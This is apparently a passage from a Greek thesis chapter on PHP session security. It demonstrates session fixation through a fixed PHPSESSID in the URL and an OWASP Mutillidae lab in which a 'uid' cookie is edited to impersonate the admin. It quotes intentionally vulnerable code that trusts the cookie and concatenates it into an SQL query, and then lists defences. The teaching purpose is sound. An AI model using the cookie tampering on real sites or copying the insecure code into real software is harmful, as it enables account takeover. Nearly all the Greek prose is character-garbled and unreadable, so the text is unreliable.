ζε απηνχ ηνπ ηχπνπ επηζέζεηο, ζπρλά ν κεραληζκφο ησλ ζπλφδσλ απνηειείηαη κφλν απφ ην 

session_start (), γεγνλφο πνπ θαζηζηά ηελ ζχλνδν επάισηε. 

Πξνθεηκέλνπ λα γίλνπλ πην θαηαλνεηά ηα παξαπάλσ, ζα εμεηάζνπκε ηνλ αθφινπζν θψδηθα 

(session.php) : 

<?php 

session_start(); 

if (!isset($_SESSION['visits'])) 

{ 

    $_SESSION['visits'] = 1; 

} 

else 

{ 

    $_SESSION['visits']++; 

} 

echo $_SESSION['visits']; 

?> 
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Σηελ πξψηε επίζθεςε ζηε ζειίδα (π.ρ. http://localhost/test/session.php), πξέπεη λα βιέπεηε σο 

απνηέιεζκα ζηελ νζφλε ηνλ αξηζκφ έλα «1». Σε θάζε επφκελε επίζθεςε, ζα πξέπεη ν αξηζκφο λα 

απμήζεηε ψζηε λα αληηθαηνπηξίδεη ην πφζεο θνξέο έρεηε επηζθεθζεί ηε ζειίδα. Γηα λα 

θαηαδείμνπκε ηελ κέζνδν fixation, αξρηθά ζηγνπξεπφκαζηε φηη δελ έρνπκε ήδε πξνζδηνξηζηηθφ 

ζπλφδνπ (ίζσο δηαγξάθνληαο ηα cookies καο;), θαηφπηλ επηζθεπηφκαζηε ηε ζειίδα κε παξάκεηξν 

ζην URL ην “?PHPSESSID=12345”. Έπεηηα, κε έλαλ δηαθνξεηηθφ browser (ή αθφκα θαη έλαλ 

απνιχησο δηαθνξεηηθφ ππνινγηζηή), επηζθεπηφκαζηε ην ίδην URL πάιη κε παξάκεηξν 

“?PHPSESSID=12345”. Θα παξαηεξήζεηε φηη δελ βιέπεηε ηνλ αξηζκφ 1 σο έμνδν ζηελ πξψηε 

επίζθεςή ζαο, αιιά κάιινλ ζπλερίδεη απφ ηε ζχλνδν πνπ αξρίζακε πξνεγνπκέλσο. 

Γηαηί κπνξεί απηό λα είλαη επηθίλδπλν; Οη πεξηζζφηεξεο επηζέζεηο θαζήισζεο ζπλφδνπ 

ρξεζηκνπνηνχλ απιά έλα link ψζηε λα ζηείινπλ έλαλ ρξήζηε ζε κηα άιιε ζειίδα (redirect) κε 

έλα αλαγλσξηζηηθφ ζπλφδνπ πνπ επηζπλάπηεηαη ζην URL. Ο ρξήζηεο πηζαλφλ δελ ζα ην 

παξαηεξήζεη, δεδνκέλνπ φηη ε άιιε ζειίδα ζα ζπκπεξηθεξζεί αθξηβψο ην ίδην κε ηελ 

ππάξρνπζα. Δπεηδή ν επηηηζέκελνο επέιεμε ην αλαγλσξηζηηθφ ζπλφδνπ, ηνπ είλαη ήδε γλσζηφ 

θαη έηζη κπνξεί λα ην ρξεζηκνπνηεζεί πξνθεηκέλνπ λα θιηκαθψζεη ηηο επηζέζεηο ηνπ (session 

hijacking θηι). 

Μηα απιντθή επίζεζε φπσο απηή είλαη αξθεηά εχθνιν λα απνηξαπεί. Γηα παξάδεηγκα αλ δελ 

ππάξρεη κηα ελεξγή ζχλνδνο πνπ λα ζπλδέεηαη κε ην αλαγλσξηζηηθφ ζπλφδνπ πνπ παξνπζηάδεη ν 

ρξήζηεο, ην αλαπαξάγνπκε ψζηε λα είκαζηε θαιπκκέλνη (session_secure.php):  

<?php 

session_start(); 

if (!isset($_SESSION['visits'])) 

{ 

   session_regenerate_id(); 

    $_SESSION['visits'] = 1; 

} 

else 

{ 

    $_SESSION['visits']++; 

} 

echo $_SESSION['visits']; 

?> 

 

Τν πξφβιεκα κε κηα ηέηνηα απιντθή «ππεξάζπηζε» είλαη φηη έλαο επηηηζέκελνο κπνξεί απιά λα 

αξρηθνπνηήζεη κηα ζχλνδν γηα έλα ζπγθεθξηκέλν αλαγλσξηζηηθφ ζπλφδνπ θαη έπεηηα λα 

ρξεζηκνπνηήζεη απηφ ην πξνζδηνξηζηηθφ γηα λα πξνσζήζεη ηελ επίζεζε. Γηα λα πξνζηαηεπηνχκε 

απφ απηφλ ηνλ ηχπν επίζεζεο, κπνξνχκε λα ηξνπνπνηήζνπκε ηελ παξαπάλσ πξνζέγγηζε θαη λα  

αλαπαξαγάγνπκε ην πξνζδηνξηζηηθφ ζπλφδνπ φπνηε ππάξρεη νπνηαδήπνηε αιιαγή ζην επίπεδν 

πξνλνκίσλ ηνπ ρξήζηε (π.ρ., κεηά ηνλ έιεγρν γηα ην log-in), έηζη ζα έρνπκε απνβάιεη 

νπζηαζηηθά ηνλ θίλδπλν κηαο επηηπρνχο επίζεζεο θαζήισζεο ζπλφδνπ. 
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Αδηακθηζβήηεηα, ε πην θνηλή επίζεζε ζπλφδνπ, είλαη ε πεηξαηεία ζπλόδνπ (Session Hijacking) 

θαη αλαθέξεηαη ζε φιεο ηηο επηζέζεηο πνπ πξνζπαζνχλ λα απνθηήζνπλ πξφζβαζε ζηε ζχλνδν 

ελφο άιινπ ρξήζηε. 

Σηελ ζπγθεθξηκέλε πεξίπησζε, ζα μεθχγνπκε ιίγν απφ ηηο ζπλήζεηο πξαθηηθέο δηαζθάιηζεο κηαο 

ζπλφδνπ θαη ζα εζηηάζνπκε ζην πψο κπνξνχκε λα θαηαζηήζνπκε ηελ ζχιιεςε ελφο 

αλαγλσξηζηηθνχ ζπλφδνπ ιηγφηεξν πξνβιεκαηηθή. Ο ζηφρνο καο είλαη λα κεησζεί ε πηζαλφηεηα 

πιαζηνπξνζσπίαο, δεδνκέλνπ φηη θάζε αχμεζε ηεο πνιππινθφηεηαο ζηελ παξαγσγή ηνπ 

αλαγλσξηζηηθνχ θαη ηεο απζεληηθνπνίεζεο ησλ ρξεζηψλ απμάλεη ηελ αζθάιεηα. Γηα λα ην 

θάλνπκε απηφ, κπνξνχκε λα ηαπηνπνηήζνπκε θάπνηνλ ρξήζηε κε πεξηζζφηεξα ζηνηρεία απφ ην 

αλαγλσξηζηηθφ εηζφδνπ. 

Γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε ζην αθφινπζν ηζηφηνπν: 

 http://phpsec.org/projects/guide/4.html (άδεηα) . 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

http://phpsec.org/projects/guide/4.html
http://creativecommons.org/licenses/by-nc-sa/2.0/
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3.4.1 Πσο γίλεηαη ε αλίρλεπζε ηεο εππάζεηαο 

Οη εππάζεηεο πνπ ππάξρνπλ ζηνπο κεραληζκνχο δηαρείξηζεο ζπλφδσλ είλαη νπζηαζηηθά ςεγάδηα 

πνπ αθνξνχλ ηελ νξζή θαη αζθαιή απζεληηθνπνίεζε ησλ ρξεζηψλ, νπφηε κπνξνχλ λα 

ρσξηζηνχλ ζε δχν κεγάιεο θαηεγνξίεο: 

 αδπλακίεο ζηελ παξαγσγή ησλ ραξαθηεξηζηηθψλ ζπλφδνπ. 

 αδπλακίεο ζην ρεηξηζκφ ησλ ραξαθηεξηζηηθψλ ζπλφδνπ (θαηά ηε δηάξθεηα δσήο ηνπο). 

Σε πνιιέο δηαδηθηπαθέο εθαξκνγέο πνπ ρξεζηκνπνηνχλ ηνλ ηππνπνηεκέλν κεραληζκφ cookies γηα 

ηελ κεηάδνζε ησλ ραξαθηεξηζηηθψλ κηαο ζπλφδνπ, είλαη απιφ λα πξνζδηνξηζηεί πνην πεδίν ησλ 

δεδνκέλσλ πεξηέρεη ην δεηνχκελν ζηνηρείν. 
 

Οη εθαξκνγέο κπνξεί λα ρξεζηκνπνηνχλ πνιιαπιά δηαθνξεηηθά ηηκήκαηα δεδνκέλσλ ζπιινγηθά 

σο αλαγλσξηζηηθφ, ζπκπεξηιακβαλνκέλσλ ησλ cookies, ησλ παξακέηξσλ URL θαη ησλ 

θξπκκέλσλ πεδίσλ θνξκψλ. Μεξηθά απφ απηά ηα ζηνηρεία κπνξνχλ λα ρξεζηκνπνηεζνχλ γηα λα 

δηαηεξήζνπλ κία ζχλνδν, αιιά ζα ήηαλ ιάζνο λα ππνζέζνπκε ηφζν φηη κηα ζπγθεθξηκέλε 

παξάκεηξνο είλαη ην αλαγλσξηζηηθφ ζπλφδνπ (ρσξίο πξψηα λα ην απνδείμνπκε), φζν φηη νη 

ζχλνδνη παξαθνινπζνχληαη/δηακνξθψλνληαη ρξεζηκνπνηψληαο κφλν έλα ζηνηρείν! 

Σε πνιιέο πεξηπηψζεηο, ηα ζηνηρεία πνπ εκθαλίδνληαη λα είλαη ην αλαγλσξηζηηθφ ζπλφδνπ ηεο 

εθαξκνγήο κπνξεί λα κελ είλαη. Πην ζπγθεθξηκέλα, ην cookie ζπλφδνπ πνπ παξάγεηαη απφ ηνλ 

server ή ηελ εθαξκνγή κπνξεί λα είλαη παξφλ αιιά ζηελ πξαγκαηηθφηεηα λα κελ 

ρξεζηκνπνηείηαη απφ ηελ εθαξκνγή. Θα πξέπεη ινηπφλ λα παξαηεξήζνπκε πνηα λέα ζηνηρεία 

πεξλνχλ ζηνλ πεξηεγεηή καο κεηά απφ ηελ απζεληηθνπνίεζε, θαζψο δεκηνπξγνχληαη λέα 

αλαγλσξίζηεθα ζπλφδνπ κεηά ηελ απζεληηθνπνίεζε ελφο ρξήζηε. 

Πξνθεηκέλνπ λα ειέγμνπκε πνηα ζηνηρεία ρξεζηκνπνηνχληαη πξαγκαηηθά σο αλαγλσξηζηηθά κηαο 

ζπλφδνπ, βξίζθνπκε κηα ζειίδα ε νπνία είλαη βέβαην πσο ρξεζηκνπνηεί sessions  θαη 

ππνβάιινπκε δηάθνξα αηηήκαηα, απνθιείνληαο θάζε ζηνηρείν πνπ ππνςηαδφκαζηε πσο δελ 

ρξεζηκνπνηείζηε σο αλαγλσξηζηηθφ. Δάλ ε αθαίξεζε ελφο ζηνηρείνπ αλαγθάζεη ηελ ζειίδα λα 

κελ επηζηξέςεη θάπνηα απάληεζε, κπνξνχκε λα κε κεγάιε πηζαλφηεηα λα πνχκε φηη απηφ ην 

ζηνηρείν είλαη έλα αλαγλσξηζηηθφ ηεο ζπλφδνπ.  

Τν πξφγξακκα HttpFox είλαη έλα πνιχ ρξήζηκν εξγαιείν γηα ηηο παξαπάλσ δνθηκέο, θαζψο 

παξαθνινπζεί θαη αλαιχεη φιε ηελ εηζεξρφκελε θαη εμεξρφκελε θίλεζε κεηαμχ ηνπ browser θαη 

ηνπ web server. 
 

΋κσο δελ πηνζεηνχλ φιεο νη δηαδηθηπαθέο εθαξκνγέο ηελ ρξήζε ζπλφδσλ (sessions), κεξηθέο 

εθαξκνγέο πνπ δηαζέηνπλ πνιχπινθεο ιεηηνπξγίεο  θαη απαηηνχλ απζεληηθνπνίεζε ησλ ρξεζηψλ, 

επηιέγνπλ γηα λα ρξεζηκνπνηήζνπλ άιιεο ηερληθέο γηα ηελ δηαρείξηζε κίαο θαηάζηαζεο. Απηφ 

πνπ ζπλαληάκε σο ελαιιαθηηθή ιχζε, έλαληη ησλ session, (αλ θαη ζε ηδηαίηεξα κηθξφ βαζκφ) 

είλαη ε ρξήζε ηνπ “HTTP authentication”. 
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Σηελ HTTP απζεληηθνπνίεζε (HTTP authentication), oη δηαδηθηπαθέο εθαξκνγέο πνπ 

ρξεζηκνπνηνχλ δηάθνξεο HTTP-based ηερλνινγίεο απζεληηθνπνίεζεο φπσο (Basic, Digest θαη 

NTLM), κεξηθέο θνξέο απνθεχγνπλ ηελ αλάγθε λα ρξεζηκνπνηήζνπλ ζπλφδνπο. Με ηελ HTTP 

απζεληηθνπνίεζε, ην client side ηκήκα ηηο επηθνηλσλίαο αιιειεπηδξά κε ην κεραληζκφ 

απζεληηθνπνίεζεο άκεζα κέζσ ηνπ πεξηεγεηή (browser). Απηφ επηηπγράλεηαη ρξεζηκνπνηψληαο 

ηηο θεθαιίδεο HTTP θαη όρη κέζσ θψδηθα ηεο εθαξκνγήο. Δληνχηνηο, ε HTTP απζεληηθνπνίεζε 

ζπάληα ρξεζηκνπνηείηαη κφλε ηεο ζηηο δηαδηθηπαθέο εθαξκνγέο θαζψο ηα νθέιε πνπ νη 

κεραληζκνί ζπλφδνπ πξνζθέξνπλ είλαη πνιιαπιάζηα. Γηα πεξηζζφηεξεο πιεξνθνξίεο αλαηξέμηε 

ζηνλ παξαθάησ ζχλδεζκν: http://hc.apache.org/httpclient-3.x/authentication.html 

Δάλ ζηελ εθαξκνγή ρξεζηκνπνηείηαη ηερληθή HTTP authentication είλαη πηζαλφ λα κελ 

εθαξκφδεηαη θαλέλαο κεραληζκφο δηαρείξηζεο ζπλφδσλ. Φξεζηκνπνηψληαο ηηο κεζφδνπο πνπ 

πεξηγξάθακε πξνεγνπκέλσο, κπνξνχκε λα εμεηάζνπκε ην ξφιν πνπ δηαδξακαηίδνπλ ηα 

δεδνκέλα ησλ πιεξνθνξηψλ πνπ αληαιιάζζνληαη κεηαμχ εκάο θαη ηεο εθαξκνγήο. Σηελ 

ζπλέρεηα αθνχ επηβεβαηώζνπκε όηη ε εθαξκνγή δελ ρξεζηκνπνηεί ζπλόδνπο, ζα πξέπεη λα 

ειέγμνπκε αλ ε εθαξκνγή εθδίδεη/πξνζζέηεη έλα λέν ζηνηρείν σο απάληεζε (response) ζε θάζε 

αίηεκα (request). Αλ λαη, ηφηε εμεηάδνπκε ηα δεδνκέλα ζην λέν ζηνηρείν πξνθεηκέλνπ λα δνχκε 

αλ είλαη θξππηνγξαθεκέλα (ζπλήζσο είλαη). Τέινο, πξνζπαζνχκε λα μαλαζηείινπκε ηα ίδηα 

ζηνηρεία κε «πεηξαγκέλα» δεδνκέλα φκσο ε εθαξκνγή ελδέρεηαη λα απνξξίςεη ηηο φπνηεο 

πξνζπάζεηεο θάλνπκε. 

Δάλ ηα ζηνηρεία δείρλνπλ φηη θαηά πάζα πηζαλφηεηα ε εθαξκνγή δελ ρξεζηκνπνηεί ζπλφδνπο, 

είλαη ζρεηηθά απίζαλν νπνηεζδήπνηε απφ ηηο ηερληθέο πνπ πεξηγξάθακε λα έρνπλ ζεκαληηθφ 

πνζνζηφ επηηπρίαο. Δίλαη ινηπφλ πξνηηκφηεξν λα αθηεξψζνπκε ηνλ ρξφλν καο ςάρλνληαο γηα 

άιια ζνβαξά ζέκαηα φπσο ε εζθαικέλε δηαρείξηζε Σπλφδσλ θαη ε ειιηπήο Απζεληηθνπνίεζε 

ησλ ρξεζηψλ. 
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3.4.2 Τερληθέο εθκεηάιιεπζεο ηεο εππάζεηαο 

΋πσο αλαθέξακε θαη λσξίηεξα, εππάζεηεο πνπ αθνξνχλ ηελ Γηαρείξηζε Σπλφδσλ θαη ηελ 

Απζεληηθνπνίεζε ησλ ρξεζηψλ, κπνξνχλ λα ζεσξεζνχλ ζηελ πεξίπησζε καο σο κία εληαία 

θαηεγνξία. Τέηνηεο εππάζεηεο είλαη επξχηεξα γλσζηέο κε ηνλ φξν “Session Hijacking” θαη 

ζπκβαίλνπλ φηαλ ζε κηα εθαξκνγή νη ιεηηνπξγίεο πνπ ζρεηίδνληαη κε ηελ Απζεληηθνπνίεζε ησλ 

ρξεζηψλ (login θαη άιιεο) θαη ηε δηαρείξηζε ζπλφδσλ ζπρλά δελ εθαξκφδνληαη ζσζηά. Έηζη 

επηηξέπνπλ ζηνπο επηηηζεκέλνπο λα αλαθαιχςνπλ θαη εθκεηαιιεπηνχλ, ζηνηρεία φπσο θσδηθνί 

πξφζβαζεο, θιεηδηά, αλαγλσξηζηηθά ζπλφδνπ θ.α. Δπηπιένλ, κπνξεί λα εθκεηαιιεπηνχλ θαη 

άιιεο εππάζεηεο ηεο εθαξκνγήο «θιέβνληαο» ηηο ηαπηφηεηεο  άιισλ ρξεζηψλ. Με ηελ βνήζεηα 

δηάθνξσλ πξόζζεησλ ηνπ πξνγξάκκαηνο πεξηήγεζεο Mozilla Firefox θαη ηεο ζνπίηαο 

ινγηζκηθνχ “OWASP Mantra” ζα αλαθαιχςνπκε θαη ζηελ ζπλέρεηα εθκεηαιιεπηνχκε ηέηνηεο 

εππάζεηεο. 

Σε απηφ ην ζεκείν ζα δψζνπκε κία πην πξαθηηθή ππφζηαζε ζην ζέκα, βιέπνληαο ζπγθεθξηκέλα 

πσο ε γιψζζα PHP δηαρεηξίδεηαη ηηο ζπλφδνπο (sessions) θαη ηη πξνβιήκαηα αληηκεησπίδεη. Θα 

δνχκε θαηά ζεηξά ηηο εππάζεηεο ηεο θαηεγνξίαο “A3 - Broken Authentication and Session 

Management”, φπσο απηέο παξνπζηάδνληαη ζην πεξηβάιινλ Mutillidae.  

 

 

1. A3 - Broken Authentication and Session Management  Cookies 

΋πσο θαίλεηαη ζε απηή ηελ θαηεγνξία ζα ζπλαληήζνπκε απεηιέο πνπ έρνπλ λα θάλνπλ κε ηελ 

απζεληηθνπνίεζε ησλ ρξεζηψλ θάλνληαο ρξήζε ζπλφδσλ. Οπφηε εθθηλψληαο ηελ ζνπίηα 

ινγηζκηθνχ “OWASP Mantra” κεηαβαίλνπκε ζηελ ζπγθεθξηκέλε ελφηεηα θαη απφ ηελ 

αξηζηεξή εξγαιεηνζήθε επηιέγνπκε ην εξγαιείν “Cookies Manager+”. Σηελ ζπλέρεηα 

παξαηεξνχκε φηη πεηάγεηε έλα παξάζπξν κε δηάθνξα ζηνηρεία γηα ηα cookies ζην ζχζηεκα καο. 

 

Δηθόλα 3.30 Owasp Mandra - Cookies Manager+ 
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Δλ ζπλερεία θάλνπκε log-in ζην ζχζηεκα κε ηα ζηνηρεία: 

 Username: etsaimos 

 Password: 123456 

 

θαη θάλνπκε θαη πάιη ρξήζε ηνπ εξγαιείνπ “Cookies Manages+”. Παξαηεξνχκε φηη έρνπλ 

δεκηνπξγεζεί δχν λέα cookies κε νλφκαηα “uid” θαη “username”. Αλ θνηηάμνπκε πξνζεθηηθά 

ην cookie “uid” βιέπνπκε φηη ζην πεδίν “content” έρεη ηελ ηηκή “15”.  

 

 

Δηθόλα 3.31 Cookies Manager+ - Σηνηρεία cookies 

 

 

Τη ζα γηλφηαλ φκσο αλ πεηξακαηηδφκαζηαλ κε ηελ ζπγθεθξηκέλε ηηκή; 
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Γηα παξάδεηγκα αιιάδνπκε ηελ ηηκή ην “uid” cookie θαη ζην πεδίν “content” βάδνπκε ηελ ηηκή 

“1” αληί γηα “15”.  

 

 

Δηθόλα 3.32 Αιιαγή ζηνηρείσλ cookies 

 

 

Σηελ ζπλέρεηα απνζεθεχνπκε ηηο αιιαγέο θαη θάλνπκε αλαλέσζε ηεο ζειίδαο. 
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Μεηά ηελ αλαλέσζε ηεο ζειίδαο, αλ θνηηάμνπκε ζην πάλσ δεμί κέξνο ηεο εθαξκνγήο, ζα 

παξαηεξήζνπκε φηη σο ζπλδεκέλνο ρξήζηεο εκθαλίδεηαη ν “admin (Monkey!!!)”. 

 

 
 

 

Τη ζπλέβε ζηελ πξαγκαηηθφηεηα φκσο; Δκείο απζεληηθνπνηεζήθακε απφ ηελ εθαξκνγή κε ηα 

ζηνηρεία καο (etsaimos θηι) θαη ζηελ ζπλέρεηα ε εθαξκνγή «θχιαμε» απηά ηα ζηνηρεία ζε έλα 

cookie. Δκείο κε ηελ ρξήζε ηνπ ζπγθεθξηκέλνπ πξνγξάκκαηνο θαηαθέξακε λα αιιάμνπκε ηελ 

ηηκή ηνπ cookie θαη έηζη λα πξνζπνηεζνχκε έλαλ άιιν ρξήζηε. 

Γηαηί φκσο ζπλέβε απηφ; Αλ θνηηάμνπκε πξνζεθηηθά ζηνλ θψδηθα ηνπ αξρείνπ “index.php” θαη 

ζπγθεθξηκέλα ζηηο γξακκέο 109-127 : 
 

    ... 

if (isset($_COOKIE['uid'])){ 

   try {       

      $query  = "SELECT * FROM accounts WHERE cid='" . $_COOKIE['uid'] . "'"; 

      $result = $conn->query($query); 

      if (!$result) { 

      throw (new Exception('Error executing query: '.$conn->error, $conn-

>errorno)); 

      }// end if 

      // Switch to whatever cookie the user sent to simulate sites 

      // that use client-side authorization tokens. Auth information 

      // should never be in cookies. 

      if ($result->num_rows > 0) { 

   $row = $result->fetch_object(); 

   $_SESSION['loggedin'] = 'True'; 

   $_SESSION['uid'] = $row->cid; 

   $_SESSION['logged_in_user'] = $row->username; 

   $_SESSION['logged_in_usersignature'] = $row->mysignature; 
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     header('Logged-In-User: '.$_SESSION['logged_in_user'], true); 

 }// end if ($result->num_rows > 0) 

    } catch (Exception $e) { 

   echo $CustomErrorHandler->FormatError($e, $query);  

    }// end try 

 }else{ 

 ... 

 

Παξαηεξνχκε φηη γίλεηαη επηινγή απφ ηελ βάζε δεδνκέλσλ, ηνπ ρξήζηε πνπ ζέηεηαη απφ ην 

“uid” ηνπ cookie, έηζη φηαλ εκείο αιιάμνπκε ηελ ηηκή ηνπ cookie, ην ζχζηεκα καο θέξλεη 

απηφκαηα ηνλ ρξήζηε κε ην “uid” πνπ νξίζακε, απφ ηελ βάζε δεδνκέλσλ. 

Απφ ηα παξαπάλσ, εχθνια θαηαιαβαίλεη θαλείο πσο νπνηαδήπνηε ζηνηρεία απζεληηθνπνίεζεο 

ησλ ρξεζηψλ δελ πξέπεη λα απνζεθεχνληαη ρσξίο θξππηνγξάθεζε ζε cookies θαζψο είλαη πνιχ 

εχθνιν λα απνθαιπθζνχλ. Απηφο είλαη θαη έλαο παξάγνληαο πνπ εμεγεί θαη ηελ ζηξνθή ησλ 

δηαδηθηπαθψλ επηζέζεσλ πξνο ηνπο ρξήζηεο (client side). 
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3.4.3 Τξόπνη αληηκεηώπηζεο 

Τα κέηξα πνπ πξέπεη λα ιάβνπλ νη δεκηνπξγνί Γηαδηθηπαθψλ Δθαξκνγψλ πξνθεηκέλνπ λα 

απνηξέςνπλ επηζέζεηο πνπ ζηνρεχνπλ ηνπο κεραληζκνχο δηαρείξηζεο ησλ ζπλφδσλ, κπνξνχλ λα 

θαηεγνξηνπνηεζνχλ ηφζν βάζε ηεο εππάζεηαο (πνπ έρεη επηπηψζεηο ζηνπο κεραληζκνχο απηνχο), 

φζν θαη βάζε ηεο πνιππινθφηεηαο ηνπο
[10]

. Πξνθεηκέλνπ λα εθηειεζζεί ε δηαρείξηζε κηαο 

ζπλφδνπ κε αζθαιή ηξφπν, κηα εθαξκνγή πξέπεη λα παξάγεη ηα ραξαθηεξίζηεθα ηεο ζπλφδνπ 

(id’s θηι) κε έλαλ αμηφπηζην ηξφπν θαη ζηε ζπλέρεηα λα ηα πξνζηαηεχζεη θαζ' φιε ηε δηάξθεηα 

ηνπ θχθινπ ηεο δσήο ηνπο (απφ δεκηνπξγία έσο ηε θαηαζηξνθή). 

Έηζη ινηπφλ, ζην ζεκείν απηφ ζα παξαζέζνπκε κηα πνηθηιία απφ πξνηάζεηο γηα ηελ 

αληηκεηψπηζε επηζέζεσλ ζε php sessions, πνπ θπκαίλνληαη απφ πνιχπινθεο, αιιά απφιπηα 

απνηειεζκαηηθέο, έσο εχθνιεο, αιιά ιηγφηεξν απνηειεζκαηηθέο. 

Ξεθηλψληαο, πξνηείλνπκε ηελ ρξήζε ηνπ πξσηνθόιινπ SSL (Secure Sockets Layer) θάηη πνπ 

δελ έρεη άκεζε ζρέζε κε ηα sessions, αιιά κπνξεί λα πξνζηαηεχζεη ηελ εθαξκνγήο καο σο εμήο: 

1. Πηζηνπνηψληαο ηνλ server απφ ηνλ client. Γηα παξάδεηγκα κπνξεί λα απνηξέςεη έλα 

θαθφβνπιν server λα θάλεη επίζεζε πιαζηνπξνζσπίαο.  

2. Πηζηνπνηψληαο ηνλ client απφ ηνλ server. Οκνίσο κε παξαπάλσ, κφλν πνπ αλ ν 

ππνηηζέκελνο «πειάηεο» έρεη θάπνην πξφβιεκα κε ηελ εγθπξφηεηα ηνπ πηζηνπνηεηηθνχ 

ηνπ, ηφηε ν server ζα απνξξίςεη ηελ ζχλδεζε θαη ζα ηνπ δεηήζεη λα επαλεηζάγεη ηα 

ζηνηρεία ηνπ. 

3. Δγθαζίδξπζε αζθαινχο θξππηνγξαθεκέλνπ δηαχινπ επηθνηλσλίαο κεηαμχ ησλ δχν 

κεξψλ. Οπζηαζηηθά, θξππηνγξαθψληαο ηελ ηηκή ηνπ cookie ηεο ζπλφδνπ, ην SSL 

πξνζηαηεχεη ην ID ηεο ζπλεδξίαο απφ φπνηνλ πξνζπαζεί λα «θξπθαθνχζεη» ηελ 

επηθνηλσλία κεηαμχ πειάηε θαη εμππεξεηεηή. 

Αο ζπλερίζνπκε φκσο κε θάηη πνπ έρεη άκεζε εθαξκνγή ζηηο ζπλφδνπο php, ηελ ρξήζε Cookies 

αληί $_GET κεηαβιεηώλ. Αξρηθά πξνηείλεηαη λα ρξεζηκνπνηείηε ηηο αθφινπζεο ini_set () 

νδεγίεο ζηελ αξρή ηνπ php script ζαο, πξνθεηκέλνπ λα παξαθακθζνχλ ηπρφλ θαζνιηθέο 

ξπζκίζεηο ζην αξρείν php.ini: 

ini_set( 'session.use_only_cookies', TRUE ); 

ini_set( 'session.use_trans_sid', FALSE ); 

Τν php.ini είλαη έλα PHP αξρείν ξπζκίζεσλ πνπ ειέγρεη ζεκαληηθέο ξπζκίζεηο ηεο PHP. Απηφ 

ζεκαίλεη φηη κε απηφ ην αξρείν κπνξείηε λα αιιάμεηε ηε ζπκπεξηθνξά ηεο PHP ζην server ζαο. 

Κάζε θνξά πνπ θάπνηνο επηζθέπηεηαη ηελ ηζηνζειίδα ζαο, ν δηεξκελέαο PHP δηαβάδεη ην αξρείν 

php.ini θαη ζπκπεξηθέξεηαη αληίζηνηρα. Έηζη, ε πξψηε ξχζκηζε αλαγθάδεη ηελ PHP λα 

δηαρεηξηζηεί ην ID ηεο ζπλεδξίαο κε κφλν έλα cookie, έηζη ψζηε script ηχπνπ $_GET 

['PHPSESSID'] λα ζεσξνχληαη άθπξα.  
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Απηφ αληηθαζηζηά απηφκαηα ηε ρξήζε ησλ «δηαθαλψλ αλαγλσξηζηηθψλ ζπλφδνπ», αιιά ζα 

πξέπεη γηα ιφγνπο αζθάιεηαο λα ηα απελεξγνπνηήζνπκε θαη ξεηά (δεχηεξε ξχζκηζε), ψζηε λα 

απνθεπρζεί ε δηαξξνή ηνπ ID ηεο ζπλεδξίαο ζηα URIs. Απηή ε ηερληθή πξνζηαηεχεη ηνπο 

ρξήζηεο απφ ηελ απνθάιπςε ησλ αλαγλσξηζηηθψλ ζπλφδνπ ηνπο, αιιά εμαθνινπζεί λα 

παξνπζηάδεη αδπλακίεο ζε DNS θαη Proxy επηζέζεηο. 

 

Μία άιιε ηερληθή
[18]

 είλαη ε ρξήζε Session Timeouts, δειαδή ε ιήμε κηαο ζπλφδνπ κεηά ην 

πέξαο ζπγθεθξηκέλσλ ρξνληθψλ νξίσλ. Απηφ επηηπγράλεηαη κέζσ ξπζκίζεσλ ζηελ δηάξθεηα  

δσήο ελφο cookie ζπλφδνπ. Η ηηκή απηή ηζνχηαη απφ πξνεπηινγή κε ην 0, δειαδή γηα φζν 

ρξνληθφ δηάζηεκα ην πξφγξακκα πεξηήγεζεο είλαη αλνηρηφ. Απηφ δελ είλαη 

ηθαλνπνηεηηθφ (δηφηη γηα παξάδεηγκα, νη ρξήζηεο κε ην λα κελ θιείλνπλ ηνπο browsers αθήλνπλ 

ελεξγέο ηηο ζπλφδνπο γηα κεγάια ρξνληθά δηαζηήκαηα) θαη έηζη επηβάιιεηε λα ξπζκίζνπκε ηε 

δηάξθεηα δσήο ηεο ζπλφδνπ καο σο εμήο: ini_set(«session.cookie_lifetime»,300). 

Απηφ, θαζνξίδεη ηε δηάξθεηα δσήο ελφο cookie ζπλφδνπ ζε 300 δεπηεξφιεπηα (ή 5 ιεπηά). Η 

ξχζκηζε απηή αλαγθάδεη ην cookie λα ιήμεη κεηά απφ 5 ιεπηά, θάηη ην νπνίν θαζηζηά ην 

αλαγλσξηζηηθφ ζπλφδνπ άθπξν.  

Παξφια απηά, φηαλ ην ρξνληθφ φξην δσήο κηαο πεξηφδνπ είλαη ζρεηηθά ζχληνκν, φπσο π.ρ. 5 

ιεπηά, κπνξεί λα παξνπζηαζηεί ην εμήο πξνβιεκαηηθφ ζελάξην: έλαο ρξήζηεο λα ρξεηαζηεί πνιχ 

πεξηζζφηεξν ρξφλν γηα λα ζπκπιεξψζεη κηα θφξκα θηι θαη έηζη ε ζχλνδνο θαη ηα ήδε 

θαηαρσξεκέλα δεδνκέλα (είλαη πηζαλφ) λα ραζνχλ. Θα πξέπεη ινηπφλ λα απνθαζίζνπκε αλ απηή 

ε (πηζαλή) ηαιαηπσξία γηα ηνπο ρξήζηεο ηεο εθαξκνγήο καο αμίδεη ηνλ θόπν; Σηελ 

πξαγκαηηθφηεηα, έλα ζελάξην επίζεζεο ζε κία ζχλνδν, κε ρξήζε θάπνηνπ θιεκκέλνπ cookie, 

κπνξεί λα ζπκβεί θαη ζε ρξφλν θάησ ησλ 60 δεπηεξφιεπησλ, θαζψο είλαη αξθεηφο γηα ηελ 

απνζηνιή ρηιηάδσλ αηηήζεσλ; ζηνλ εμππεξεηεηή. 

 

Μία άιιε ηερληθή πνπ παξνπζηάδεη εμαηξεηηθφ ελδηαθέξνλ (ηελ αλαθέξακε ζπλνπηηθά ζηελ 

αξρή ηνπ Κεθαιαίνπ 3.4) είλαη ε αλαδεκηνπξγία ησλ αλαγλσξηζηηθώλ ζπλόδνπ γηα ηνπο 

ρξήζηεο πνπ αιιάδνπλ επίπεδν δηθαησκάησλ. Κάζε θνξά πνπ έλαο ρξήζηεο αιιάδεη ην επίπεδν 

δηθαησκάησλ ηνπ ζηελ εθαξκνγή, είηε κε ζχλδεζε είηε κε απνζχλδεζε, ζα πξέπεη λα 

δεκηνπξγεζεί μαλά έλα λέν αλαγλσξηζηηθφ ζπλφδνπ, έηζη ψζηε λα αθπξψλεηαη ην πξνεγνχκελν. 

